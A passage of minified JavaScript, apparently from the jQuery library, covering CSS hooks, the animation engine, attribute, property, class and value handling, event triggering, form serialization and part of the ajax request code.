i=Ge(e),r=(!h.boxSizingReliable()||n)&&"border-box"===x.css(e,"boxSizing",!1,i),s=r,o=Ze(e,t,i),a="offset"+t[0].toUpperCase()+t.slice(1);if(Xe.test(o)){if(!n)return o;o="auto"}return(!h.boxSizingReliable()&&r||!h.reliableTrDimensions()&&E(e,"tr")||"auto"===o||!parseFloat(o)&&"inline"===x.css(e,"display",!1,i))&&e.getClientRects().length&&(r="border-box"===x.css(e,"boxSizing",!1,i),(s=a in e)&&(o=e[a])),(o=parseFloat(o)||0)+ot(e,t,n||(r?"border":"content"),s,i,o)+"px"}function lt(e,t,n,i,r){return new lt.prototype.init(e,t,n,i,r)}x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ze(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,n,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,s,o,a=te(t),l=Ye.test(t),c=e.style;if(l||(t=tt(a)),o=x.cssHooks[t]||x.cssHooks[a],void 0===n)return o&&"get"in o&&void 0!==(r=o.get(e,!1,i))?r:c[t];"string"==(s=typeof n)&&(r=ue.exec(n))&&r[1]&&(n=ge(e,t,r),s="number"),null!=n&&n==n&&("number"!==s||l||(n+=r&&r[3]||(x.cssNumber[a]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(c[t]="inherit"),o&&"set"in o&&void 0===(n=o.set(e,n,i))||(l?c.setProperty(t,n):c[t]=n))}},css:function(e,t,n,i){var r,s,o,a=te(t);return Ye.test(t)||(t=tt(a)),(o=x.cssHooks[t]||x.cssHooks[a])&&"get"in o&&(r=o.get(e,!0,n)),void 0===r&&(r=Ze(e,t,i)),"normal"===r&&t in rt&&(r=rt[t]),""===n||n?(s=parseFloat(r),!0===n||isFinite(s)?s||0:r):r}}),x.each(["height","width"],(function(e,t){x.cssHooks[t]={get:function(e,n,i){if(n)return!nt.test(x.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?at(e,t,i):Ve(e,it,(function(){return at(e,t,i)}))},set:function(e,n,i){var r,s=Ge(e),o=!h.scrollboxSize()&&"absolute"===s.position,a=(o||i)&&"border-box"===x.css(e,"boxSizing",!1,s),l=i?ot(e,t,i,a,s):0;return a&&o&&(l-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(s[t])-ot(e,t,"border",!1,s)-.5)),l&&(r=ue.exec(n))&&"px"!==(r[3]||"px")&&(e.style[t]=n,n=x.css(e,t)),st(0,n,l)}}})),x.cssHooks.marginLeft=Ke(h.reliableMarginLeft,(function(e,t){if(t)return(parseFloat(Ze(e,"marginLeft"))||e.getBoundingClientRect().left-Ve(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),x.each({margin:"",padding:"",border:"Width"},(function(e,t){x.cssHooks[e+t]={expand:function(n){for(var i=0,r={},s="string"==typeof n?n.split(" "):[n];i<4;i++)r[e+de[i]+t]=s[i]||s[i-2]||s[0];return r}},"margin"!==e&&(x.cssHooks[e+t].set=st)})),x.fn.extend({css:function(e,t){return K(this,(function(e,t,n){var i,r,s={},o=0;if(Array.isArray(t)){for(i=Ge(e),r=t.length;o<r;o++)s[t[o]]=x.css(e,t[o],!1,i);return s}return void 0!==n?x.style(e,t,n):x.css(e,t)}),e,t,arguments.length>1)}}),x.Tween=lt,lt.prototype={constructor:lt,init:function(e,t,n,i,r,s){this.elem=e,this.prop=n,this.easing=r||x.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=i,this.unit=s||(x.cssNumber[n]?"":"px")},cur:function(){var e=lt.propHooks[this.prop];return e&&e.get?e.get(this):lt.propHooks._default.get(this)},run:function(e){var t,n=lt.propHooks[this.prop];return this.options.duration?this.pos=t=x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):lt.propHooks._default.set(this),this}},lt.prototype.init.prototype=lt.prototype,lt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=x.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):1!==e.elem.nodeType||!x.cssHooks[e.prop]&&null==e.elem.style[tt(e.prop)]?e.elem[e.prop]=e.now:x.style(e.elem,e.prop,e.now+e.unit)}}},lt.propHooks.scrollTop=lt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},x.fx=lt.prototype.init,x.fx.step={};var ct,ut,dt=/^(?:toggle|show|hide)$/,pt=/queueHooks$/;function ht(){ut&&(!1===g.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(ht):e.setTimeout(ht,x.fx.interval),x.fx.tick())}function ft(){return e.setTimeout((function(){ct=void 0})),ct=Date.now()}function mt(e,t){var n,i=0,r={height:e};for(t=t?1:0;i<4;i+=2-t)r["margin"+(n=de[i])]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function gt(e,t,n){for(var i,r=(vt.tweeners[t]||[]).concat(vt.tweeners["*"]),s=0,o=r.length;s<o;s++)if(i=r[s].call(n,t,e))return i}function vt(e,t,n){var i,r,s=0,o=vt.prefilters.length,a=x.Deferred().always((function(){delete l.elem})),l=function(){if(r)return!1;for(var t=ct||ft(),n=Math.max(0,c.startTime+c.duration-t),i=1-(n/c.duration||0),s=0,o=c.tweens.length;s<o;s++)c.tweens[s].run(i);return a.notifyWith(e,[c,i,n]),i<1&&o?n:(o||a.notifyWith(e,[c,1,0]),a.resolveWith(e,[c]),!1)},c=a.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{},easing:x.easing._default},n),originalProperties:t,originalOptions:n,startTime:ct||ft(),duration:n.duration,tweens:[],createTween:function(t,n){var i=x.Tween(e,c.opts,t,n,c.opts.specialEasing[t]||c.opts.easing);return c.tweens.push(i),i},stop:function(t){var n=0,i=t?c.tweens.length:0;if(r)return this;for(r=!0;n<i;n++)c.tweens[n].run(1);return t?(a.notifyWith(e,[c,1,0]),a.resolveWith(e,[c,t])):a.rejectWith(e,[c,t]),this}}),u=c.props;for(function(e,t){var n,i,r,s,o;for(n in e)if(r=t[i=te(n)],s=e[n],Array.isArray(s)&&(r=s[1],s=e[n]=s[0]),n!==i&&(e[i]=s,delete e[n]),(o=x.cssHooks[i])&&"expand"in o)for(n in s=o.expand(s),delete e[i],s)n in e||(e[n]=s[n],t[n]=r);else t[i]=r}(u,c.opts.specialEasing);s<o;s++)if(i=vt.prefilters[s].call(c,e,u,c.opts))return f(i.stop)&&(x._queueHooks(c.elem,c.opts.queue).stop=i.stop.bind(i)),i;return x.map(u,gt,c),f(c.opts.start)&&c.opts.start.call(e,c),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always),x.fx.timer(x.extend(l,{elem:e,anim:c,queue:c.opts.queue})),c}x.Animation=x.extend(vt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ge(n.elem,e,ue.exec(t),n),n}]},tweener:function(e,t){f(e)?(t=e,e=["*"]):e=e.match(W);for(var n,i=0,r=e.length;i<r;i++)n=e[i],vt.tweeners[n]=vt.tweeners[n]||[],vt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var i,r,s,o,a,l,c,u,d="width"in t||"height"in t,p=this,h={},f=e.style,m=e.nodeType&&me(e),g=re.get(e,"fxshow");for(i in n.queue||(null==(o=x._queueHooks(e,"fx")).unqueued&&(o.unqueued=0,a=o.empty.fire,o.empty.fire=function(){o.unqueued||a()}),o.unqueued++,p.always((function(){p.always((function(){o.unqueued--,x.queue(e,"fx").length||o.empty.fire()}))}))),t)if(r=t[i],dt.test(r)){if(delete t[i],s=s||"toggle"===r,r===(m?"hide":"show")){if("show"!==r||!g||void 0===g[i])continue;m=!0}h[i]=g&&g[i]||x.style(e,i)}if((l=!x.isEmptyObject(t))||!x.isEmptyObject(h))for(i in d&&1===e.nodeType&&(n.overflow=[f.overflow,f.overflowX,f.overflowY],null==(c=g&&g.display)&&(c=re.get(e,"display")),"none"===(u=x.css(e,"display"))&&(c?u=c:(be([e],!0),c=e.style.display||c,u=x.css(e,"display"),be([e]))),("inline"===u||"inline-block"===u&&null!=c)&&"none"===x.css(e,"float")&&(l||(p.done((function(){f.display=c})),null==c&&(u=f.display,c="none"===u?"":u)),f.display="inline-block")),n.overflow&&(f.overflow="hidden",p.always((function(){f.overflow=n.overflow[0],f.overflowX=n.overflow[1],f.overflowY=n.overflow[2]}))),l=!1,h)l||(g?"hidden"in g&&(m=g.hidden):g=re.access(e,"fxshow",{display:c}),s&&(g.hidden=!m),m&&be([e],!0),p.done((function(){for(i in m||be([e]),re.remove(e,"fxshow"),h)x.style(e,i,h[i])}))),l=gt(m?g[i]:0,i,p),i in g||(g[i]=l.start,m&&(l.end=l.start,l.start=0))}],prefilter:function(e,t){t?vt.prefilters.unshift(e):vt.prefilters.push(e)}}),x.speed=function(e,t,n){var i=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||f(e)&&e,duration:e,easing:n&&t||t&&!f(t)&&t};return x.fx.off?i.duration=0:"number"!=typeof i.duration&&(i.duration in x.fx.speeds?i.duration=x.fx.speeds[i.duration]:i.duration=x.fx.speeds._default),null!=i.queue&&!0!==i.queue||(i.queue="fx"),i.old=i.complete,i.complete=function(){f(i.old)&&i.old.call(this),i.queue&&x.dequeue(this,i.queue)},i},x.fn.extend({fadeTo:function(e,t,n,i){return this.filter(me).css("opacity",0).show().end().animate({opacity:t},e,n,i)},animate:function(e,t,n,i){var r=x.isEmptyObject(e),s=x.speed(t,n,i),o=function(){var t=vt(this,x.extend({},e),s);(r||re.get(this,"finish"))&&t.stop(!0)};return o.finish=o,r||!1===s.queue?this.each(o):this.queue(s.queue,o)},stop:function(e,t,n){var i=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,r=null!=e&&e+"queueHooks",s=x.timers,o=re.get(this);if(r)o[r]&&o[r].stop&&i(o[r]);else for(r in o)o[r]&&o[r].stop&&pt.test(r)&&i(o[r]);for(r=s.length;r--;)s[r].elem!==this||null!=e&&s[r].queue!==e||(s[r].anim.stop(n),t=!1,s.splice(r,1));!t&&n||x.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,n=re.get(this),i=n[e+"queue"],r=n[e+"queueHooks"],s=x.timers,o=i?i.length:0;for(n.finish=!0,x.queue(this,e,[]),r&&r.stop&&r.stop.call(this,!0),t=s.length;t--;)s[t].elem===this&&s[t].queue===e&&(s[t].anim.stop(!0),s.splice(t,1));for(t=0;t<o;t++)i[t]&&i[t].finish&&i[t].finish.call(this);delete n.finish}))}}),x.each(["toggle","show","hide"],(function(e,t){var n=x.fn[t];x.fn[t]=function(e,i,r){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(mt(t,!0),e,i,r)}})),x.each({slideDown:mt("show"),slideUp:mt("hide"),slideToggle:mt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){x.fn[e]=function(e,n,i){return this.animate(t,e,n,i)}})),x.timers=[],x.fx.tick=function(){var e,t=0,n=x.timers;for(ct=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||x.fx.stop(),ct=void 0},x.fx.timer=function(e){x.timers.push(e),x.fx.start()},x.fx.interval=13,x.fx.start=function(){ut||(ut=!0,ht())},x.fx.stop=function(){ut=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fn.delay=function(t,n){return t=x.fx&&x.fx.speeds[t]||t,n=n||"fx",this.queue(n,(function(n,i){var r=e.setTimeout(n,t);i.stop=function(){e.clearTimeout(r)}}))},function(){var e=g.createElement("input"),t=g.createElement("select").appendChild(g.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=g.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var yt,bt=x.expr.attrHandle;x.fn.extend({attr:function(e,t){return K(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){x.removeAttr(this,e)}))}}),x.extend({attr:function(e,t,n){var i,r,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return void 0===e.getAttribute?x.prop(e,t,n):(1===s&&x.isXMLDoc(e)||(r=x.attrHooks[t.toLowerCase()]||(x.expr.match.bool.test(t)?yt:void 0)),void 0!==n?null===n?void x.removeAttr(e,t):r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):r&&"get"in r&&null!==(i=r.get(e,t))?i:null==(i=x.find.attr(e,t))?void 0:i)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&E(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,i=0,r=t&&t.match(W);if(r&&1===e.nodeType)for(;n=r[i++];)e.removeAttribute(n)}}),yt={set:function(e,t,n){return!1===t?x.removeAttr(e,n):e.setAttribute(n,n),n}},x.each(x.expr.match.bool.source.match(/\w+/g),(function(e,t){var n=bt[t]||x.find.attr;bt[t]=function(e,t,i){var r,s,o=t.toLowerCase();return i||(s=bt[o],bt[o]=r,r=null!=n(e,t,i)?o:null,bt[o]=s),r}}));var wt=/^(?:input|select|textarea|button)$/i,_t=/^(?:a|area)$/i;function xt(e){return(e.match(W)||[]).join(" ")}function Tt(e){return e.getAttribute&&e.getAttribute("class")||""}function Et(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(W)||[]}x.fn.extend({prop:function(e,t){return K(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[x.propFix[e]||e]}))}}),x.extend({prop:function(e,t,n){var i,r,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return 1===s&&x.isXMLDoc(e)||(t=x.propFix[t]||t,r=x.propHooks[t]),void 0!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:e[t]=n:r&&"get"in r&&null!==(i=r.get(e,t))?i:e[t]},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):wt.test(e.nodeName)||_t.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),h.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){x.propFix[this.toLowerCase()]=this})),x.fn.extend({addClass:function(e){var t,n,i,r,s,o;return f(e)?this.each((function(t){x(this).addClass(e.call(this,t,Tt(this)))})):(t=Et(e)).length?this.each((function(){if(i=Tt(this),n=1===this.nodeType&&" "+xt(i)+" "){for(s=0;s<t.length;s++)r=t[s],n.indexOf(" "+r+" ")<0&&(n+=r+" ");o=xt(n),i!==o&&this.setAttribute("class",o)}})):this},removeClass:function(e){var t,n,i,r,s,o;return f(e)?this.each((function(t){x(this).removeClass(e.call(this,t,Tt(this)))})):arguments.length?(t=Et(e)).length?this.each((function(){if(i=Tt(this),n=1===this.nodeType&&" "+xt(i)+" "){for(s=0;s<t.length;s++)for(r=t[s];n.indexOf(" "+r+" ")>-1;)n=n.replace(" "+r+" "," ");o=xt(n),i!==o&&this.setAttribute("class",o)}})):this:this.attr("class","")},toggleClass:function(e,t){var n,i,r,s,o=typeof e,a="string"===o||Array.isArray(e);return f(e)?this.each((function(n){x(this).toggleClass(e.call(this,n,Tt(this),t),t)})):"boolean"==typeof t&&a?t?this.addClass(e):this.removeClass(e):(n=Et(e),this.each((function(){if(a)for(s=x(this),r=0;r<n.length;r++)i=n[r],s.hasClass(i)?s.removeClass(i):s.addClass(i);else void 0!==e&&"boolean"!==o||((i=Tt(this))&&re.set(this,"__className__",i),this.setAttribute&&this.setAttribute("class",i||!1===e?"":re.get(this,"__className__")||""))})))},hasClass:function(e){var t,n,i=0;for(t=" "+e+" ";n=this[i++];)if(1===n.nodeType&&(" "+xt(Tt(n))+" ").indexOf(t)>-1)return!0;return!1}});var St=/\r/g;x.fn.extend({val:function(e){var t,n,i,r=this[0];return arguments.length?(i=f(e),this.each((function(n){var r;1===this.nodeType&&(null==(r=i?e.call(this,n,x(this).val()):e)?r="":"number"==typeof r?r+="":Array.isArray(r)&&(r=x.map(r,(function(e){return null==e?"":e+""}))),(t=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,r,"value")||(this.value=r))}))):r?(t=x.valHooks[r.type]||x.valHooks[r.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(r,"value"))?n:"string"==typeof(n=r.value)?n.replace(St,""):null==n?"":n:void 0}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:xt(x.text(e))}},select:{get:function(e){var t,n,i,r=e.options,s=e.selectedIndex,o="select-one"===e.type,a=o?null:[],l=o?s+1:r.length;for(i=s<0?l:o?s:0;i<l;i++)if(((n=r[i]).selected||i===s)&&!n.disabled&&(!n.parentNode.disabled||!E(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,i,r=e.options,s=x.makeArray(t),o=r.length;o--;)((i=r[o]).selected=x.inArray(x.valHooks.option.get(i),s)>-1)&&(n=!0);return n||(e.selectedIndex=-1),s}}}}),x.each(["radio","checkbox"],(function(){x.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=x.inArray(x(e).val(),t)>-1}},h.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}));var Ct=e.location,Mt={guid:Date.now()},kt=/\?/;x.parseXML=function(t){var n,i;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){}return i=n&&n.getElementsByTagName("parsererror")[0],n&&!i||x.error("Invalid XML: "+(i?x.map(i.childNodes,(function(e){return e.textContent})).join("\n"):t)),n};var At=/^(?:focusinfocus|focusoutblur)$/,Ot=function(e){e.stopPropagation()};x.extend(x.event,{trigger:function(t,n,i,r){var s,o,a,l,c,d,p,h,v=[i||g],y=u.call(t,"type")?t.type:t,b=u.call(t,"namespace")?t.namespace.split("."):[];if(o=h=a=i=i||g,3!==i.nodeType&&8!==i.nodeType&&!At.test(y+x.event.triggered)&&(y.indexOf(".")>-1&&(b=y.split("."),y=b.shift(),b.sort()),c=y.indexOf(":")<0&&"on"+y,(t=t[x.expando]?t:new x.Event(y,"object"==typeof t&&t)).isTrigger=r?2:3,t.namespace=b.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:x.makeArray(n,[t]),p=x.event.special[y]||{},r||!p.trigger||!1!==p.trigger.apply(i,n))){if(!r&&!p.noBubble&&!m(i)){for(l=p.delegateType||y,At.test(l+y)||(o=o.parentNode);o;o=o.parentNode)v.push(o),a=o;a===(i.ownerDocument||g)&&v.push(a.defaultView||a.parentWindow||e)}for(s=0;(o=v[s++])&&!t.isPropagationStopped();)h=o,t.type=s>1?l:p.bindType||y,(d=(re.get(o,"events")||Object.create(null))[t.type]&&re.get(o,"handle"))&&d.apply(o,n),(d=c&&o[c])&&d.apply&&ne(o)&&(t.result=d.apply(o,n),!1===t.result&&t.preventDefault());return t.type=y,r||t.isDefaultPrevented()||p._default&&!1!==p._default.apply(v.pop(),n)||!ne(i)||c&&f(i[y])&&!m(i)&&((a=i[c])&&(i[c]=null),x.event.triggered=y,t.isPropagationStopped()&&h.addEventListener(y,Ot),i[y](),t.isPropagationStopped()&&h.removeEventListener(y,Ot),x.event.triggered=void 0,a&&(i[c]=a)),t.result}},simulate:function(e,t,n){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0});x.event.trigger(i,null,t)}}),x.fn.extend({trigger:function(e,t){return this.each((function(){x.event.trigger(e,t,this)}))},triggerHandler:function(e,t){var n=this[0];if(n)return x.event.trigger(e,t,n,!0)}});var Pt=/\[\]$/,Lt=/\r?\n/g,Dt=/^(?:submit|button|image|reset|file)$/i,It=/^(?:input|select|textarea|keygen)/i;function zt(e,t,n,i){var r;if(Array.isArray(t))x.each(t,(function(t,r){n||Pt.test(e)?i(e,r):zt(e+"["+("object"==typeof r&&null!=r?t:"")+"]",r,n,i)}));else if(n||"object"!==b(t))i(e,t);else for(r in t)zt(e+"["+r+"]",t[r],n,i)}x.param=function(e,t){var n,i=[],r=function(e,t){var n=f(t)?t():t;i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,(function(){r(this.name,this.value)}));else for(n in e)zt(n,e[n],t,r);return i.join("&")},x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map((function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this})).filter((function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&It.test(this.nodeName)&&!Dt.test(e)&&(this.checked||!xe.test(e))})).map((function(e,t){var n=x(this).val();return null==n?null:Array.isArray(n)?x.map(n,(function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}})):{name:t.name,value:n.replace(Lt,"\r\n")}})).get()}});var Nt=/%20/g,Rt=/#.*$/,$t=/([?&])_=[^&]*/,Ft=/^(.*?):[ \t]*([^\r\n]*)$/gm,jt=/^(?:GET|HEAD)$/,Ht=/^\/\//,qt={},Bt={},Wt="*/".concat("*"),Xt=g.createElement("a");function Yt(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var i,r=0,s=t.toLowerCase().match(W)||[];if(f(n))for(;i=s[r++];)"+"===i[0]?(i=i.slice(1)||"*",(e[i]=e[i]||[]).unshift(n)):(e[i]=e[i]||[]).push(n)}}function Gt(e,t,n,i){var r={},s=e===Bt;function o(a){var l;return r[a]=!0,x.each(e[a]||[],(function(e,a){var c=a(t,n,i);return"string"!=typeof c||s||r[c]?s?!(l=c):void 0:(t.dataTypes.unshift(c),o(c),!1)})),l}return o(t.dataTypes[0])||!r["*"]&&o("*")}function Vt(e,t){var n,i,r=x.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((r[n]?e:i||(i={}))[n]=t[n]);return i&&x.extend(!0,e,i),e}Xt.href=Ct.href,x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Wt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Vt(Vt(e,x.ajaxSettings),t):Vt(x.ajaxSettings,e)},ajaxPrefilter:Yt(qt),ajaxTransport:Yt(Bt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,r,s,o,a,l,c,u,d,p,h=x.ajaxSetup({},n),f=h.context||h,m=h.context&&(f.nodeType||f.jquery)?x(f):x.event,v=x.Deferred(),y=x.Callbacks("once memory"),b=h.statusCode||{},w={},_={},T="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!o)for(o={};t=Ft.exec(s);)o[t[1].toLowerCase()+" "]=(o[t[1].toLowerCase()+" "]||[]).concat(t[2]);t=o[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return c?s:null},setRequestHeader:function(e,t){return null==c&&(e=_[e.toLowerCase()]=_[e.toLowerCase()]||e,w[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||T;return i&&i.abort(t),S(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Ht,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(W)||[""],null==h.crossDomain){l=g.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Xt.protocol+"//"+Xt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=x.param(h.data,h.traditional)),Gt(qt,h,n,E),c)return E;for(d in(u=x.event&&h.global)&&0==x.active++&&x.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!jt.test(h.type),r=h.url.replace(Rt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(Nt,"+")):(p=h.url.slice(r.length),h.data&&(h.processData||"string"==typeof h.data)&&(r+=(kt.test(r)?"&":"?")+h.data,delete h.data),!1===h.cache&&(r=r.replace($t,"$1"),p=(kt.test(r)?"&":"?")+"_="+Mt.guid+++p),h.url=r+p),h.ifModified&&(x.lastModified[r]&&E.setRequestHeader("If-Modified-Since",x.lastModified[r]),x.etag[r]&&E.setRequestHeader("If-None-Match",x.etag[r])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+Wt+"; q=0.01":""):h.accepts["*"]),h.headers)E.setRequestHeader(d,h.headers[d]);if(h.beforeSend&&(!1===h.beforeSend.call(f,E,h)||c))return E.abort();if(T="abort",y.add(h.complete),E.done(h.success),E.fail(h.error),i=Gt(Bt,h,n,E)){if(E.readyState=1,u&&m.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(a=e.setTimeout((function(){E.abort("timeout")}),h.timeout));try{c=!1,i.send(w,S)}catch(e){if(c)throw e;S(-1,e)}}else S(-1,"No Transport");function S(t,n,o,l){var d,p,g,w,_,T=n;c||(c=!0,a&&e.clearTimeout(a),i=void 0,s=l||"",E.readyState=t>0?4:0,d=t>=200&&t<300||304===t,o&&(w=function(e,t,n){for(var i,r,s,o,a=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 0===i&&(i=e.mimeType||t.getResponseHeader("Content-Type"));if(i)for(r in a)if(a[r]&&a[r].test(i)){l.unshift(r);break}if(l[0]in n)s=l[0];else{for(r in n){if(!l[0]||e.converters[r+" "+l[0]]){s=r;break}o||(o=r)}s=s||o}if(s)return s!==l[0]&&l.unshift(s),n[s]}(h,E,o)),!d&&x.inArray("script",h.dataTypes)>-1&&x.inArray("json",h.dataTypes)<0&&(h.converters["text script"]=function(){}),w=function(e,t,n,i){var r,s,o,a,l,c={},u=e.dataTypes.slice();if(u[1])for(o in e.converters)c[o.toLowerCase()]=e.converters[o];for(s=u.shift();s;)if(e.responseFields[s]&&(n[e.responseFields[s]]=t),!l&&i&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=s,s=u.shift())if("*"===s)s=l;else if("*"!==l&&l!==s){if(!(o=c[l+" "+s]||c["* "+s]))for(r in c)if((a=r.split(" "))[1]===s&&(o=c[l+" "+a[0]]||c["* "+a[0]])){!0===o?o=c[r]:!0!==c[r]&&(s=a[0],u.unshift(a[1]));break}if(!0!==o)if(o&&e.throws)t=o(t);else try{t=o(t)}catch(e){return{state:"parsererror",error:o?e:"No conversion from "+l+" to "+s}}}return{state:"success",data:t}}(h,w,E,d),d?(h.ifModified&&((_=E.getResponseHeader("Last-Modified"))&&(x.lastModified[r]=_),(_=E.getResponseHeader("etag"))&&(x.etag[r]=_)),204===t||"HEAD"===h.type?T="nocontent":304===t?T="notmodified":(T=w.state,p=w.data,d=!(g=w.error))):(g=T,!t&&T||(T="error",t<0&&(t=0))),E.status=t,E.statusText=(n||T)+"",d?v.resolveWith(f,[p,T,E]):v.rejectWith(f,[E,T,g]),E.statusCode(b),b=void 0,u&&m.trigger(d?"ajaxSuccess":"ajaxError",[E,h,d?p:g]),y.fireWith(f,[E,T]),u&&(m.trigger("ajaxComplete",[E,h]),--x.active||x.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,t){return x.get(e,void 0,t,"script")}}),x.each(["get","post"],(function(e,t){x[t]=function(e,n,i,r){return f(n)&&(r=r||i,i=n,n=void 